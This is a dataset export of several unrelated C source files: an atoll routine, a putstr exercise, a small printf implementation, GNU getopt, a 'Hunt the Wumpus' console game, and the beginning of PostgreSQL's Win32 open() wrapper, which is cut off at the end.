file
stringlengths
18
26
data
stringlengths
2
1.05M
the_stack_data/38701.c
#include <stdlib.h> #include <ctype.h> long long atoll(const char *s) { long long n=0; int neg=0; while (isspace(*s)) s++; switch (*s) { case '-': neg=1; case '+': s++; } /* Compute n as a negative number to avoid overflow on LLONG_MIN */ while (isdigit(*s)) n = 10*n - (*s++ - '0'); return neg ? n : -n; }
the_stack_data/154827959.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_putstr.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: angmarti <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/08/11 12:11:24 by socana-b #+# #+# */ /* Updated: 2021/08/12 19:54:30 by angmarti ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> void ft_putstr(char *str) { char aux; int i; i = 0; aux = '0'; while (aux != '\0') { aux = *(str + i); if (aux != '\0') write(1, (str + i), 1); i++; } } int main(void) { char a[4]; char *ptr; a[0] = 'a'; a[1] = 'b'; a[2] = 'c'; a[3] = 'd'; ptr = &a[0]; ft_putstr(ptr); return (0); }
the_stack_data/40763441.c
/* Copyright 2001, 2002 Georges Menie (www.menie.org) stdarg version contributed by Christian Ettinger This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /* putchar is the only external dependency for this file, if you have a working putchar, leave it commented out. If not, uncomment the define below and replace outbyte(c) by your own function call. */ //#define putchar(c) c #include <stdarg.h> static void printchar(char **str, int c) { extern int putchar(int c); if (str) { **str = (char)c; ++(*str); } else { (void)putchar(c); } } #define PAD_RIGHT 1 #define PAD_ZERO 2 static int prints(char **out, const char *string, int width, int pad) { register int pc = 0, padchar = ' '; if (width > 0) { register int len = 0; register const char *ptr; for (ptr = string; *ptr; ++ptr) ++len; if (len >= width) width = 0; else width -= len; if (pad & PAD_ZERO) padchar = '0'; } if (!(pad & PAD_RIGHT)) { for ( ; width > 0; --width) { printchar (out, padchar); ++pc; } } for ( ; *string ; ++string) { printchar (out, *string); ++pc; } for ( ; width > 0; --width) { printchar (out, padchar); ++pc; } return pc; } /* the following should be enough for 32 bit int */ #define PRINT_BUF_LEN 12 static int printi(char **out, int i, int b, int sg, int width, int pad, int letbase) { char print_buf[PRINT_BUF_LEN]; register char *s; register int t, neg = 0, pc = 0; register unsigned int u = (unsigned int)i; if (i == 0) { print_buf[0] = '0'; print_buf[1] = '\0'; return prints (out, print_buf, width, pad); } if (sg && b == 10 && i < 0) { neg = 1; u = (unsigned int)-i; } s = print_buf + PRINT_BUF_LEN-1; *s = '\0'; while (u) { t = (unsigned int)u % b; if( t >= 10 ) t += letbase - '0' - 10; *--s = (char)(t + '0'); u /= b; } if (neg) { if( width && (pad & PAD_ZERO) ) { printchar (out, '-'); ++pc; --width; } else { *--s = '-'; } } return pc + prints (out, s, width, pad); } static int print( char **out, const char *format, va_list args ) { register int width, pad; register int pc = 0; char scr[2]; for (; *format != 0; ++format) { if (*format == '%') { ++format; width = pad = 0; if (*format == '\0') break; if (*format == '%') goto out; if (*format == '-') { ++format; pad = PAD_RIGHT; } while (*format == '0') { ++format; pad |= PAD_ZERO; } for ( ; *format >= '0' && *format <= '9'; ++format) { width *= 10; width += *format - '0'; } if( *format == 's' ) { register char *s = (char *)va_arg( args, int ); pc += prints (out, s?s:"(null)", width, pad); continue; } if( *format == 'd' ) { pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); continue; } if( *format == 'x' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); continue; } if( *format == 'X' ) { pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); continue; } if( *format == 'u' ) { pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); continue; } if( *format == 'c' ) { /* char are converted to int then pushed on the stack */ scr[0] = (char)va_arg( args, int ); scr[1] = '\0'; pc += prints (out, scr, width, pad); continue; } } else { out: printchar (out, *format); ++pc; } } if (out) **out = '\0'; va_end( args ); return pc; } int printf(const char *format, ...) { va_list args; va_start( args, format ); return print( 0, format, args ); } int sprintf(char *out, const char *format, ...) { va_list args; va_start( args, format ); return print( &out, format, args ); } int snprintf( char *buf, unsigned int count, const char *format, ... ) { va_list args; ( void ) count; va_start( args, format ); return print( &buf, format, args ); } #ifdef TEST_PRINTF int main(void) { char *ptr = "Hello world!"; char *np = 0; int i = 5; unsigned int bs = sizeof(int)*8; int mi; char buf[80]; mi = (1 << (bs-1)) + 1; printf("%s\n", ptr); printf("printf test\n"); printf("%s is null pointer\n", np); printf("%d = 5\n", i); printf("%d = - max int\n", mi); printf("char %c = 'a'\n", 'a'); printf("hex %x = ff\n", 0xff); printf("hex %02x = 00\n", 0); printf("signed %d = unsigned %u = hex %x\n", -3, -3, -3); printf("%d %s(s)%", 0, "message"); printf("\n"); printf("%d %s(s) with %%\n", 0, "message"); sprintf(buf, "justif: \"%-10s\"\n", "left"); printf("%s", buf); sprintf(buf, "justif: \"%10s\"\n", "right"); printf("%s", buf); sprintf(buf, " 3: %04d zero padded\n", 3); printf("%s", buf); sprintf(buf, " 3: %-4d left justif.\n", 3); printf("%s", buf); sprintf(buf, " 3: %4d right justif.\n", 3); printf("%s", buf); sprintf(buf, "-3: %04d zero padded\n", -3); printf("%s", buf); sprintf(buf, "-3: %-4d left justif.\n", -3); printf("%s", buf); sprintf(buf, "-3: %4d right justif.\n", -3); printf("%s", buf); return 0; } /* * if you compile this file with * gcc -Wall $(YOUR_C_OPTIONS) -DTEST_PRINTF -c printf.c * you will get a normal warning: * printf.c:214: warning: spurious trailing `%' in format * this line is testing an invalid % at the end of the format string. * * this should display (on 32bit int machine) : * * Hello world! * printf test * (null) is null pointer * 5 = 5 * -2147483647 = - max int * char a = 'a' * hex ff = ff * hex 00 = 00 * signed -3 = unsigned 4294967293 = hex fffffffd * 0 message(s) * 0 message(s) with % * justif: "left " * justif: " right" * 3: 0003 zero padded * 3: 3 left justif. * 3: 3 right justif. * -3: -003 zero padded * -3: -3 left justif. * -3: -3 right justif. */ #endif
the_stack_data/23575083.c
/* Getopt for GNU. NOTE: getopt is now part of the C library, so if you don't know what "Keep this file name-space clean" means, talk to [email protected] before changing it! Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 1996 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* This tells Alpha OSF/1 not to define a getopt prototype in <stdio.h>. Ditto for AIX 3.2 and <stdlib.h>. */ #ifndef _NO_PROTO #define _NO_PROTO #endif #ifdef HAVE_CONFIG_H #include <config.h> #endif #if !defined (__STDC__) || !__STDC__ /* This is a separate conditional since some stdc systems reject `defined (const)'. */ #ifndef const #define const #endif #endif #include <stdio.h> /* Comment out all this code if we are using the GNU C Library, and are not actually compiling the library itself. This code is part of the GNU C Library, but also included in many other GNU distributions. Compiling and linking in this code is a waste when using the GNU C library (especially if it is a shared library). Rather than having every GNU program understand `configure --with-gnu-libc' and omit the object files, it is simpler to just do this in the source for each such file. */ #if defined (_LIBC) || !defined (__GNU_LIBRARY__) /* This needs to come after some library #include to get __GNU_LIBRARY__ defined. */ #ifdef __GNU_LIBRARY__ /* Don't include stdlib.h for non-GNU C libraries because some of them contain conflicting prototypes for getopt. */ #include <stdlib.h> #include <unistd.h> #endif /* GNU C library. */ #ifndef _ /* This is for other GNU distributions with internationalized messages. When compiling libc, the _ macro is predefined. */ #ifdef HAVE_LIBINTL_H # include <libintl.h> # define _(msgid) gettext (msgid) #else # define _(msgid) (msgid) #endif #endif /* This version of `getopt' appears to the caller like standard Unix `getopt' but it behaves differently for the user, since it allows the user to intersperse the options with the other arguments. As `getopt' works, it permutes the elements of ARGV so that, when it is done, all the options precede everything else. Thus all application programs are extended to handle flexible argument order. Setting the environment variable POSIXLY_CORRECT disables permutation. Then the behavior is completely standard. GNU application programs can use a third alternative mode in which they can distinguish the relative order of options and other arguments. */ #include "getopt.h" /* For communication from `getopt' to the caller. When `getopt' finds an option that takes an argument, the argument value is returned here. Also, when `ordering' is RETURN_IN_ORDER, each non-option ARGV-element is returned here. */ char *optarg = NULL; /* Index in ARGV of the next element to be scanned. This is used for communication to and from the caller and for communication between successive calls to `getopt'. On entry to `getopt', zero means this is the first call; initialize. When `getopt' returns EOF, this is the index of the first of the non-option elements that the caller should itself scan. Otherwise, `optind' communicates from one call to the next how much of ARGV has been scanned so far. */ /* XXX 1003.2 says this must be 1 before any call. */ int optind = 0; /* The next char to be scanned in the option-element in which the last option character we returned was found. This allows us to pick up the scan where we left off. If this is zero, or a null string, it means resume the scan by advancing to the next ARGV-element. */ static char *nextchar; /* Callers store zero here to inhibit the error message for unrecognized options. */ int opterr = 1; /* Set to an option character which was unrecognized. This must be initialized on some systems to avoid linking in the system's own getopt implementation. */ int optopt = '?'; /* Describe how to deal with options that follow non-option ARGV-elements. If the caller did not specify anything, the default is REQUIRE_ORDER if the environment variable POSIXLY_CORRECT is defined, PERMUTE otherwise. REQUIRE_ORDER means don't recognize them as options; stop option processing when the first non-option is seen. This is what Unix does. This mode of operation is selected by either setting the environment variable POSIXLY_CORRECT, or using `+' as the first character of the list of option characters. PERMUTE is the default. We permute the contents of ARGV as we scan, so that eventually all the non-options are at the end. This allows options to be given in any order, even with programs that were not written to expect this. RETURN_IN_ORDER is an option available to programs that were written to expect options and other ARGV-elements in any order and that care about the ordering of the two. We describe each non-option ARGV-element as if it were the argument of an option with character code 1. Using `-' as the first character of the list of option characters selects this mode of operation. The special argument `--' forces an end of option-scanning regardless of the value of `ordering'. In the case of RETURN_IN_ORDER, only `--' can cause `getopt' to return EOF with `optind' != ARGC. */ static enum { REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER } ordering; /* Value of POSIXLY_CORRECT environment variable. */ static char *posixly_correct; #ifdef __GNU_LIBRARY__ /* We want to avoid inclusion of string.h with non-GNU libraries because there are many ways it can cause trouble. On some systems, it contains special magic macros that don't work in GCC. */ #include <string.h> #define my_index strchr #else /* Avoid depending on library functions or files whose names are inconsistent. */ char *getenv (); static char * my_index (str, chr) const char *str; int chr; { while (*str) { if (*str == chr) return (char *) str; str++; } return 0; } /* If using GCC, we can safely declare strlen this way. If not using GCC, it is ok not to declare it. */ #ifdef __GNUC__ /* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h. That was relevant to code that was here before. */ #if !defined (__STDC__) || !__STDC__ /* gcc with -traditional declares the built-in strlen to return int, and has done so at least since version 2.4.5. -- rms. */ extern int strlen (const char *); #endif /* not __STDC__ */ #endif /* __GNUC__ */ #endif /* not __GNU_LIBRARY__ */ /* Handle permutation of arguments. */ /* Describe the part of ARGV that contains non-options that have been skipped. `first_nonopt' is the index in ARGV of the first of them; `last_nonopt' is the index after the last of them. */ static int first_nonopt; static int last_nonopt; /* Bash 2.0 gives us an environment variable containing flags indicating ARGV elements that should not be considered arguments. */ static const char *nonoption_flags; static int nonoption_flags_len; /* Exchange two adjacent subsequences of ARGV. One subsequence is elements [first_nonopt,last_nonopt) which contains all the non-options that have been skipped so far. The other is elements [last_nonopt,optind), which contains all the options processed since those non-options were skipped. `first_nonopt' and `last_nonopt' are relocated so that they describe the new indices of the non-options in ARGV after they are moved. */ #if defined (__STDC__) && __STDC__ static void exchange (char **); #endif static void exchange (argv) char **argv; { int bottom = first_nonopt; int middle = last_nonopt; int top = optind; char *tem; /* Exchange the shorter segment with the far end of the longer segment. That puts the shorter segment into the right place. It leaves the longer segment in the right place overall, but it consists of two parts that need to be swapped next. */ while (top > middle && middle > bottom) { if (top - middle > middle - bottom) { /* Bottom segment is the short one. */ int len = middle - bottom; register int i; /* Swap it with the top part of the top segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[top - (middle - bottom) + i]; argv[top - (middle - bottom) + i] = tem; } /* Exclude the moved bottom segment from further swapping. */ top -= len; } else { /* Top segment is the short one. */ int len = top - middle; register int i; /* Swap it with the bottom part of the bottom segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[middle + i]; argv[middle + i] = tem; } /* Exclude the moved top segment from further swapping. */ bottom += len; } } /* Update records for the slots the non-options now occupy. */ first_nonopt += (optind - last_nonopt); last_nonopt = optind; } /* Initialize the internal data when the first call is made. */ #if defined (__STDC__) && __STDC__ static const char *_getopt_initialize (const char *); #endif static const char * _getopt_initialize (optstring) const char *optstring; { /* Start processing options with ARGV-element 1 (since ARGV-element 0 is the program name); the sequence of previously skipped non-option ARGV-elements is empty. */ first_nonopt = last_nonopt = optind = 1; nextchar = NULL; posixly_correct = getenv ("POSIXLY_CORRECT"); /* Determine how to handle the ordering of options and nonoptions. */ if (optstring[0] == '-') { ordering = RETURN_IN_ORDER; ++optstring; } else if (optstring[0] == '+') { ordering = REQUIRE_ORDER; ++optstring; } else if (posixly_correct != NULL) ordering = REQUIRE_ORDER; else ordering = PERMUTE; if (posixly_correct == NULL) { /* Bash 2.0 puts a special variable in the environment for each command it runs, specifying which ARGV elements are the results of file name wildcard expansion and therefore should not be considered as options. */ char var[100]; sprintf (var, "_%d_GNU_nonoption_argv_flags_", getpid ()); nonoption_flags = getenv (var); if (nonoption_flags == NULL) nonoption_flags_len = 0; else nonoption_flags_len = strlen (nonoption_flags); } return optstring; } /* Scan elements of ARGV (whose length is ARGC) for option characters given in OPTSTRING. If an element of ARGV starts with '-', and is not exactly "-" or "--", then it is an option element. The characters of this element (aside from the initial '-') are option characters. If `getopt' is called repeatedly, it returns successively each of the option characters from each of the option elements. If `getopt' finds another option character, it returns that character, updating `optind' and `nextchar' so that the next call to `getopt' can resume the scan with the following option character or ARGV-element. If there are no more option characters, `getopt' returns `EOF'. Then `optind' is the index in ARGV of the first ARGV-element that is not an option. (The ARGV-elements have been permuted so that those that are not options now come last.) OPTSTRING is a string containing the legitimate option characters. If an option character is seen that is not listed in OPTSTRING, return '?' after printing an error message. If you set `opterr' to zero, the error message is suppressed but we still return '?'. If a char in OPTSTRING is followed by a colon, that means it wants an arg, so the following text in the same ARGV-element, or the text of the following ARGV-element, is returned in `optarg'. Two colons mean an option that wants an optional arg; if there is text in the current ARGV-element, it is returned in `optarg', otherwise `optarg' is set to zero. If OPTSTRING starts with `-' or `+', it requests different methods of handling the non-option ARGV-elements. See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. Long-named options begin with `--' instead of `-'. Their names may be abbreviated as long as the abbreviation is unique or is an exact match for some defined option. If they have an argument, it follows the option name in the same ARGV-element, separated from the option name by a `=', or else the in next ARGV-element. When `getopt' finds a long-named option, it returns 0 if that option's `flag' field is nonzero, the value of the option's `val' field if the `flag' field is zero. The elements of ARGV aren't really const, because we permute them. But we pretend they're const in the prototype to be compatible with other systems. LONGOPTS is a vector of `struct option' terminated by an element containing a name which is zero. LONGIND returns the index in LONGOPT of the long-named option found. It is only valid when a long-named option has been found by the most recent call. If LONG_ONLY is nonzero, '-' as well as '--' can introduce long-named options. */ int _getopt_internal (argc, argv, optstring, longopts, longind, long_only) int argc; char *const *argv; const char *optstring; const struct option *longopts; int *longind; int long_only; { optarg = NULL; if (optind == 0) { optstring = _getopt_initialize (optstring); optind = 1; /* Don't scan ARGV[0], the program name. */ } /* Test whether ARGV[optind] points to a non-option argument. Either it does not have option syntax, or there is an environment flag from the shell indicating it is not an option. */ #define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \ || (optind < nonoption_flags_len \ && nonoption_flags[optind] == '1')) if (nextchar == NULL || *nextchar == '\0') { /* Advance to the next ARGV-element. */ /* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been moved back by the user (who may also have changed the arguments). */ if (last_nonopt > optind) last_nonopt = optind; if (first_nonopt > optind) first_nonopt = optind; if (ordering == PERMUTE) { /* If we have just processed some options following some non-options, exchange them so that the options come first. */ if (first_nonopt != last_nonopt && last_nonopt != optind) exchange ((char **) argv); else if (last_nonopt != optind) first_nonopt = optind; /* Skip any additional non-options and extend the range of non-options previously skipped. */ while (optind < argc && NONOPTION_P) optind++; last_nonopt = optind; } /* The special ARGV-element `--' means premature end of options. Skip it like a null option, then exchange with previous non-options as if it were an option, then skip everything else like a non-option. */ if (optind != argc && !strcmp (argv[optind], "--")) { optind++; if (first_nonopt != last_nonopt && last_nonopt != optind) exchange ((char **) argv); else if (first_nonopt == last_nonopt) first_nonopt = optind; last_nonopt = argc; optind = argc; } /* If we have done all the ARGV-elements, stop the scan and back over any non-options that we skipped and permuted. */ if (optind == argc) { /* Set the next-arg-index to point at the non-options that we previously skipped, so the caller will digest them. */ if (first_nonopt != last_nonopt) optind = first_nonopt; return EOF; } /* If we have come to a non-option and did not permute it, either stop the scan or describe it to the caller and pass it by. */ if (NONOPTION_P) { if (ordering == REQUIRE_ORDER) return EOF; optarg = argv[optind++]; return 1; } /* We have found another option-ARGV-element. Skip the initial punctuation. */ nextchar = (argv[optind] + 1 + (longopts != NULL && argv[optind][1] == '-')); } /* Decode the current option-ARGV-element. */ /* Check whether the ARGV-element is a long option. If long_only and the ARGV-element has the form "-f", where f is a valid short option, don't consider it an abbreviated form of a long option that starts with f. Otherwise there would be no way to give the -f short option. On the other hand, if there's a long option "fubar" and the ARGV-element is "-fu", do consider that an abbreviation of the long option, just like "--fu", and not "-f" with arg "u". This distinction seems to be the most useful approach. */ if (longopts != NULL && (argv[optind][1] == '-' || (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1]))))) { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound; int option_index; for (nameend = nextchar; *nameend && *nameend != '='; nameend++) /* Do nothing. */ ; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp (p->name, nextchar, nameend - nextchar)) { if (nameend - nextchar == strlen (p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (opterr) fprintf (stderr, _("%s: option `%s' is ambiguous\n"), argv[0], argv[optind]); nextchar += strlen (nextchar); optind++; optopt = 0; return '?'; } if (pfound != NULL) { option_index = indfound; optind++; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (opterr) if (argv[optind - 1][1] == '-') /* --option */ fprintf (stderr, _("%s: option `--%s' doesn't allow an argument\n"), argv[0], pfound->name); else /* +option or -option */ fprintf (stderr, _("%s: option `%c%s' doesn't allow an argument\n"), argv[0], argv[optind - 1][0], pfound->name); nextchar += strlen (nextchar); optopt = pfound->val; return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (opterr) fprintf (stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); nextchar += strlen (nextchar); optopt = pfound->val; return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen (nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } /* Can't find it as a long option. If this is not getopt_long_only, or the option starts with '--' or is not a valid short option, then it's an error. Otherwise interpret it as a short option. */ if (!long_only || argv[optind][1] == '-' || my_index (optstring, *nextchar) == NULL) { if (opterr) { if (argv[optind][1] == '-') /* --option */ fprintf (stderr, _("%s: unrecognized option `--%s'\n"), argv[0], nextchar); else /* +option or -option */ fprintf (stderr, _("%s: unrecognized option `%c%s'\n"), argv[0], argv[optind][0], nextchar); } nextchar = (char *) ""; optind++; optopt = 0; return '?'; } } /* Look at and handle the next short option-character. */ { char c = *nextchar++; char *temp = my_index (optstring, c); /* Increment `optind' when we start to process its last character. */ if (*nextchar == '\0') ++optind; if (temp == NULL || c == ':') { if (opterr) { if (posixly_correct) /* 1003.2 specifies the format of this message. */ fprintf (stderr, _("%s: illegal option -- %c\n"), argv[0], c); else fprintf (stderr, _("%s: invalid option -- %c\n"), argv[0], c); } optopt = c; return '?'; } if (temp[1] == ':') { if (temp[2] == ':') { /* This is an option that accepts an argument optionally. */ if (*nextchar != '\0') { optarg = nextchar; optind++; } else optarg = NULL; nextchar = NULL; } else { /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (opterr) { /* 1003.2 specifies the format of this message. */ fprintf (stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; nextchar = NULL; } } return c; } } int getopt (argc, argv, optstring) int argc; char *const *argv; const char *optstring; { return _getopt_internal (argc, argv, optstring, (const struct option *) 0, (int *) 0, 0); } #endif /* _LIBC or not __GNU_LIBRARY__. */ #ifdef TEST /* Compile with -DTEST to make an executable for use in testing the above definition of `getopt'. */ int main (argc, argv) int argc; char **argv; { int c; int digit_optind = 0; while (1) { int this_option_optind = optind ? optind : 1; c = getopt (argc, argv, "abc:d:0123456789"); if (c == EOF) break; switch (c) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': if (digit_optind != 0 && digit_optind != this_option_optind) printf ("digits occur in two different argv-elements.\n"); digit_optind = this_option_optind; printf ("option %c\n", c); break; case 'a': printf ("option a\n"); break; case 'b': printf ("option b\n"); break; case 'c': printf ("option c with value `%s'\n", optarg); break; case '?': break; default: printf ("?? getopt returned character code 0%o ??\n", c); } } if (optind < argc) { printf ("non-option ARGV-elements: "); while (optind < argc) printf ("%s ", argv[optind++]); printf ("\n"); } exit (0); } #endif /* TEST */
the_stack_data/550352.c
/* Hunt the Wumpus Game */ #include<stdio.h> #include<stdlib.h> /* Program Constants Defined here */ #define MAPWIDTH 7 #define MAPHEIGHT 7 #define NUM_PITS 4 /* Function Prototypes Defined here */ void initMap(char [MAPWIDTH][MAPHEIGHT]); void printMap(char [MAPWIDTH][MAPHEIGHT]); int move(int,int,int,int,char [MAPWIDTH][MAPHEIGHT]); void smell(int,int,char [MAPWIDTH][MAPHEIGHT]); int shoot(int,int,int,int,int,char [MAPWIDTH][MAPHEIGHT]); int main(void) { int num_arrows = 3; /* Total Number of Arrows */ char map[MAPWIDTH][MAPHEIGHT]; /* Map of Territory */ int choice; /* Users Input Command */ int x,y; /* Current Position of Player */ int dx,dy; /* Change in Direction */ int flag; /* Generic Error Flag */ int action; /* Action 1: -> Move */ /* Action 2: -> Shoot */ int debug = 1; /* Intialize Map */ srand(time(NULL)); initMap(map); /* Place Player at Random Location */ /* Make sure you dont place a Player on Wumpus or a in a Pit! */ flag = 1; while(flag == 1) { x = (rand() % 5) + 1; y = (rand() % 5) + 1; if(map[x][y] == '.') { map[x][y] = '@'; flag = 0; } } printf("Welcome to 'Hunt the Wumpus' \n"); if(debug) printMap(map); smell(x,y,map); /* Keep prompting for user input */ do { printf("Enter a Command: "); fflush(stdout); choice = getc(stdin); printf("\n"); /* Clearing stdin manually */ if(choice != '\n') while(getchar() != '\n') ; /* empty statement */ switch(choice) { /* Movement options */ case 'n': dx = 0; dy = -1; action = 1; break; case 's': dx = 0; dy = +1; action =1; break; case 'e': dx = +1; dy = 0; action =1; break; case 'w': dx = -1; dy = 0; action =1; break; /* Shoot Options */ case 'N': dx = 0; dy = -1; action = 2; break; case 'S': dx = 0; dy = +1; action = 2; break; case 'E': dx = +1; dy = 0; action = 2; break; case 'W': dx = -1; dy = 0; action = 2; break; default: printf("You cannot do that!\n"); action = 0; break; } /* Move Player */ if(action == 1) { flag = move(x,y,dx,dy,map); if(flag == 1) { map[x][y] ='.'; x = x + dx; y = y + dy; map[x][y]='@'; } else if(flag == -1) break; } /* Shoot */ else if(action == 2) { flag = shoot(num_arrows--,x,y,dx,dy,map); if(flag == -1) break; } if(debug) printMap(map); smell(x,y,map); }while(choice != 'Q' || choice !='q'); printf("Press any key to exit.."); getchar(); return 0; } /* Intialize Map with randomly placed Pits and Randomly placed Wumpus */ void initMap(char map[MAPWIDTH][MAPHEIGHT]) { int i,j; int x,y; /* First create a Clean Slate */ for(j=0;j<MAPHEIGHT;j++) for(i=0;i<MAPWIDTH;i++) map[i][j]='.'; /* Create walls around perimeter of map */ for(i=0;i<MAPWIDTH;i++) { map[i][0]='#'; map[i][MAPHEIGHT-1]='#'; } for(j=1;j<MAPHEIGHT-1;j++) { map[0][j]='#'; map[MAPWIDTH-1][j]='#'; } /* Create Bottomless Pits at Random Locations */ for(i=0;i<NUM_PITS;i++) { x = (rand() % 5) + 1; y = (rand() % 5) + 1; map[x][y] = 'P'; } /* Create Wumpus at Random Location */ x = (rand() % 5) + 1; y = (rand() % 5) + 1; map[x][y] = 'W'; } /* This is a debug function that prints the entire map at any one time */ void printMap(char map[MAPWIDTH][MAPHEIGHT]) { int i,j; for(j=0;j<MAPHEIGHT;j++) { for(i=0;i<MAPWIDTH;i++) printf("%c",map[i][j]); printf("\n"); } } /* Moves the Player to a new room */ /* This may Result in an untimely death */ int move(int x,int y,int dx,int dy,char map[MAPWIDTH][MAPHEIGHT]) { x = x + dx; y = y + dy; if(map[x][y] == '#') { printf("You try to move in that direction,"); printf("but you bump into that wall.\n"); return 0; } else if(map[x][y] == 'P') { printf("Yikes! You have fallen into a bottomless pit!"); printf("Better Luck next time.\n"); return -1; } else if(map[x][y] == 'W') { printf("Munch..Munch..\n"); printf("The Wumpus has just had you for Lunch.\n"); return -1; } else return 1; } /* This function provides the player with feedback about what might be in any of the adjoining rooms */ void smell(int x,int y,char map[MAPWIDTH][MAPHEIGHT]) { int pit_flag = 0; int wumpus_flag = 0; int i,j; /* First check West to East */ for(i=x-1;i<=x+1;i++) { if(map[i][y]=='P') pit_flag = 1; else if(map[i][y]=='W') wumpus_flag =1; } /* Then check North to South */ for(j=y-1;j<=y+1;j++) { if(map[x][j]=='P') pit_flag = 1; else if(map[x][j] == 'W') wumpus_flag = 1; } printf("You are in a dark room.\n"); if(wumpus_flag == 1) printf("You smell the distinctive odor of a Wumpus.\n"); if(pit_flag == 1) printf("You feel a cool breeze.\n"); } /* Shoots an arrow in the indicated direction */ int shoot(int num_arrows,int x,int y,int dx,int dy,char map[MAPWIDTH][MAPHEIGHT]) { x = x + dx; y = y + dy; if(num_arrows > 0) { printf("You shoot your arrow into the dark...\n"); if(map[x][y] == 'W') { printf("\a You have slain a Wumpus!\n"); return -1; } else { printf("And, you can hear it fall to the ground in the next room \n"); return 0; } } else { printf("You dont have any more arrows!\n"); return 0; } }
the_stack_data/1060652.c
/*------------------------------------------------------------------------- * * open.c * Win32 open() replacement * * * Portions Copyright (c) 1996-2019, PostgreSQL Global Development Group * * src/port/open.c * *------------------------------------------------------------------------- */ #ifdef WIN32 #ifndef FRONTEND #include "postgres.h" #else #include "postgres_fe.h" #endif #include <fcntl.h> #include <assert.h> static int openFlagsToCreateFileFlags(int openFlags) { switch (openFlags & (O_CREAT | O_TRUNC | O_EXCL)) { /* O_EXCL is meaningless without O_CREAT */ case 0: case O_EXCL: return OPEN_EXISTING; case O_CREAT: return OPEN_ALWAYS; /* O_EXCL is meaningless without O_CREAT */ case O_TRUNC: case O_TRUNC | O_EXCL: return TRUNCATE_EXISTING; case O_CREAT | O_TRUNC: return CREATE_ALWAYS; /* O_TRUNC is meaningless with O_CREAT */ case O_CREAT | O_EXCL: case O_CREAT | O_TRUNC | O_EXCL: return CREATE_NEW; } /* will never get here */ return 0; } /* * - file attribute setting, based on fileMode? */ int pgwin32_open(const char *fileName, int fileFlags,...) { int fd; HANDLE h = INVALID_HANDLE_VALUE; SECURITY_ATTRIBUTES sa; int loops = 0; /* Check that we can handle the request */ assert((fileFlags & ((O_RDONLY | O_WRONLY | O_RDWR) | O_APPEND | (O_RANDOM | O_SEQUENTIAL | O_TEMPORARY) | _O_SHORT_LIVED | O_DSYNC | O_DIRECT | (O_CREAT | O_TRUNC | O_EXCL) | (O_TEXT | O_BINARY))) == fileFlags); #ifndef FRONTEND Assert(pgwin32_signal_event != NULL); /* small chance of pg_usleep() */ #endif #ifdef FRONTEND /* * Since PostgreSQL 12, those concurrent-safe versions of open() and * fopen() can be used by frontends, having as side-effect to switch the * file-translation mode from O_TEXT to O_BINARY if none is specified. * Caller may want to enforce the binary or text mode, but if nothing is * defined make sure that the default mode maps with what versions older * than 12 have been doing. */ if ((fileFlags & O_BINARY) == 0) fileFlags |= O_TEXT; #endif sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; while ((h = CreateFile(fileName, /* cannot use O_RDONLY, as it == 0 */ (fileFlags & O_RDWR) ? (GENERIC_WRITE | GENERIC_READ) : ((fileFlags & O_WRONLY) ? GENERIC_WRITE : GENERIC_READ), /* These flags allow concurrent rename/unlink */ (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE), &sa, 